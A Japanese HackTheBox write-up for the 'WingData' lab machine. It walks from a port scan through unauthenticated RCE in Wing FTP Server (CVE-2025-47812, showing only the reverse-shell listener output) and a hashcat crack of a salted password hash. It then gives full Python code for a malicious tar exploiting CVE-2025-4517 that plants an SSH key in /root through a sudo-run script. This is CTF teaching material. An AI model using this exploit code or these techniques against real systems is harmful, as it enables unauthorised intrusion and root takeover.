はじめに
本記事はHackTheBoxのWriteupです。
Machineは、WingDataです。
WingDataでは、Wing FTP ServerやPythonの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-24 22:52 JST
Nmap scan report for wingdata.htb (10.129.5.22)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: WingData Solutions
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.05 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後wingdata.htbにHTTPアクセスすると、以下の様な画面が表示されます。
WingDataは、Wing Data Solutionsを提供するサイトのようです。「Client Portal」を押すと、Web Clientの画面が表示されます。
また、ページのフッタより、Wing FTP Serverの7.4.3バージョンを使用していることが確認できます。
脆弱性分析
Wing FTP Serverの7.4.3バージョンに関する脆弱性を調査したところ、CVE-2025-47812の脆弱性が見つかりました。
CVE-2025-47812の脆弱性は、NULLバイト処理の欠陥によって、リモートコード実行(RCE)を可能とし、認証不要でコマンドを実行することができます。
システムハッキング
CVE-2025-47812の脆弱性を利用して、足場を作ります。
アクセスの獲得
GitHubで見つけたPocを実行して、足場が作れました。
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.129.5.22] 52382
ユーザーフラグ
wingftpユーザーとして、/opt/wftpserverディレクトリでシェルを取得しました。ディレクトリ配下には以下のファイル及びディレクトリが確認できます。
total 26496
drwxr-x--- 4 wingftp wingftp 4096 Feb 24 09:03 Data
-rwxr-x--- 1 wingftp wingftp 4834 Jul 31 2018 License.txt
drwxr-x--- 5 wingftp wingftp 4096 Feb 24 09:08 Log
drwxr-x--- 2 wingftp wingftp 4096 Feb 9 08:19 lua
-rw-r--r-- 1 wingftp wingftp 5 Feb 24 09:03 pid-wftpserver.pid
-rwxr-x--- 1 wingftp wingftp 1434 Sep 13 2020 README
drwxr-x--- 2 wingftp wingftp 4096 Feb 24 09:08 session
drwxr-x--- 2 wingftp wingftp 4096 Feb 9 08:19 session_admin
-rwxr-x--- 1 wingftp wingftp 115258 Mar 26 2025 version.txt
drwxr-x--- 10 wingftp wingftp 12288 Feb 9 08:19 webadmin
drwxr-x--- 13 wingftp wingftp 4096 Feb 9 08:19 webclient
-rwxr-x--- 1 wingftp wingftp 4649509 Sep 14 2021 wftpconsole
-rwxr-x--- 1 wingftp wingftp 3272 Nov 2 11:11 wftp_default_ssh.key
-rwxr-x--- 1 wingftp wingftp 1342 Nov 22 2017 wftp_default_ssl.crt
-rwxr-x--- 1 wingftp wingftp 1675 Nov 22 2017 wftp_default_ssl.key
-rwxr-x--- 1 wingftp wingftp 22283682 Mar 26 2025 wftpserver
/homeディレクトリ配下より、wackyユーザーの存在が確認できます。
total 4
drwxrwx--- 2 wacky wacky 4096 Jan 22 04:41 wacky
従ってwackyユーザーの認証情報を探索します。Logディレクトリでは、特に目ぼしい情報は見つかりませんでした。Dataディレクトリに移動すると、以下のファイル及びディレクトリが確認できます。
total 32
drwxr-x--- 4 wingftp wingftp 4096 Feb 9 08:19 1
drwxr-x--- 2 wingftp wingftp 4096 Feb 24 09:03 _ADMINISTRATOR
-rw------- 1 wingftp wingftp 11264 Nov 2 11:11 bookmark_db
-rwxr-x--- 1 wingftp wingftp 2554 Nov 2 16:23 settings.xml
-rwxr-x--- 1 wingftp wingftp 241 Nov 2 11:12 ssh_host_ecdsa_key
-rw-rw-rw- 1 wingftp wingftp 3272 Nov 2 11:52 ssh_host_key
1ディレクトリに移動して、ファイルを確認します。
total 24
drwxr-x--- 2 wingftp wingftp 4096 Feb 9 08:19 groups
-rwxr-x--- 1 wingftp wingftp 624 Nov 2 16:28 portlistener.xml
-rwxr-x--- 1 wingftp wingftp 11861 Nov 2 12:21 settings.xml
drwxr-x--- 2 wingftp wingftp 4096 Feb 24 09:13 users
settings.xmlファイルより、以下の情報が確認できます。
<SaltingString>WingFTP</SaltingString>
usersディレクトリより、wacky.xmlファイルが確認できます。
total 20
-rwxr-x--- 1 wingftp wingftp 2842 Feb 24 09:13 anonymous.xml
-rwxr-x--- 1 wingftp wingftp 2846 Nov 2 11:13 john.xml
-rw-rw-rw- 1 wingftp wingftp 2847 Nov 2 12:05 maria.xml
-rw-rw-rw- 1 wingftp wingftp 2847 Nov 2 12:02 steve.xml
-rw-rw-rw- 1 wingftp wingftp 2856 Nov 2 12:28 wacky.xml
wacky.xmlファイルより、パスワードが確認できます。
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
パスワードは、sha256形式でソルトを使用しているため、以下のようにハッシュテキストを用意します。
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
hashcatを実行して、パスワードを解析します。
$ hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 5 5600X 6-Core Processor, 6926/13852 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (12654 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Approaching final keyspace - workload adjusted.
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:REDACTED
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b87...ingFTP
Time.Started.....: Tue Feb 24 23:18:56 2026 (1 sec)
Time.Estimated...: Tue Feb 24 23:18:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 11967.0 kH/s (0.43ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14340096/14344385 (99.97%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolyn -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 56c Util: 53%
Started: Tue Feb 24 23:18:56 2026
Stopped: Tue Feb 24 23:18:59 2026
上記で取得した認証情報を使用してSSHでログイン後、ユーザーフラグが確認できます。
total 4
-rw-r----- 1 root wacky 33 Feb 24 09:04 user.txt
ルートフラグ
sudo -lコマンドを実行すると、NOPASSWDで/opt/backup_clients/restore_backup_clients.pyスクリプトが実行できることを確認できます。
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/restore_backup_clients.pyのスクリプトを解析したところ、以下のディレクトリに対して、wackyユーザーで書き込み可能なことが確認できます。
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
このスクリプトがsudoで実行されるとroot権限で実行されるため、tarファイルに脆弱性が存在する場合、細工したtarファイルを悪用することで、権限昇格行うことができると考えます。
従ってCVE-2025-4517の脆弱性を利用することで、シンボリックリンクのパストラバーサルとハードリンクの組み合わせによって、任意のファイルへの書き込みが可能になります。
/root配下にSSHの公開鍵を追加するため、以下のコマンドを実行して、SSHの公開鍵ペアを作成します。
$ ssh-keygen -t ed25519 -f /tmp/root_key -N ''
また、Python - Tarfile Realpath Overflow Vulnerabilityを参考にしながら、tarファイルを用意します。
import tarfile
import os
import io
OUTPUT = "/tmp/backup_2222.tar"
PUBKEY = open("/tmp/root_key.pub").read().strip()
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open(OUTPUT, mode="w") as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp) if path else comp)
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i) if path else i)
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp) if path else comp
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../root/.ssh"
tar.addfile(e)
payload = (PUBKEY + "\n").encode()
n = tarfile.TarInfo("escape/authorized_keys")
n.type = tarfile.REGTYPE
n.size = len(payload)
n.mode = 0o600
tar.addfile(n, fileobj=io.BytesIO(payload))
tarファイル用意後、/opt/backup_clients/backups/ディレクトリに移動します。
$ mv backup_2222.tar /opt/backup_clients/backups/backup_2222.tar
sudoを使用して、/opt/backup_clients/restore_backup_clients.pyのスクリプトを実行します。
$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_2222.tar -r restore_g00t2
[+] Backup: backup_2222.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_g00t2
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_g00t2
作成したSSHの秘密鍵を使用して、rootユーザーでログインすると、ルートフラグが確認できます。
$ ssh -i root_key root@ftp.wingdata.htb
total 4
-rw-r----- 1 root root 33 Mar 2 08:25 root.txt
おわりに
CVE-2025-4517の脆弱性は、Archive Extraction Vulnerabilityとも呼ばれ、入力データがファイルシステム操作を直接定義するという特殊な構造によって、引き起こされるのが本質です。
一般的な入力バリデーションとは異なり、ここで扱われる「入力」は単なる文字列や数値ではありません。アーカイブ内のエントリは、パス、パーミッション、所有者、リンク情報といったファイルシステムそのものの振る舞いを記述しており、それが展開処理を通じてそのままOSレベルの操作へと変換されます。
../を含むパスはディレクトリ境界を越える可能性を持ち、シンボリックリンクは後続の書き込み先を外部へ誘導でき、ハードリンクやメタデータは意図しない既存ファイルを書き換える足掛かりになります。
まとめると、CVE-2025-4517を単なる実装上の不備と捉えるのは不十分です。「アーカイブを展開する」という日常的な処理が、実は極めて強力な権限操作であることが分かります。

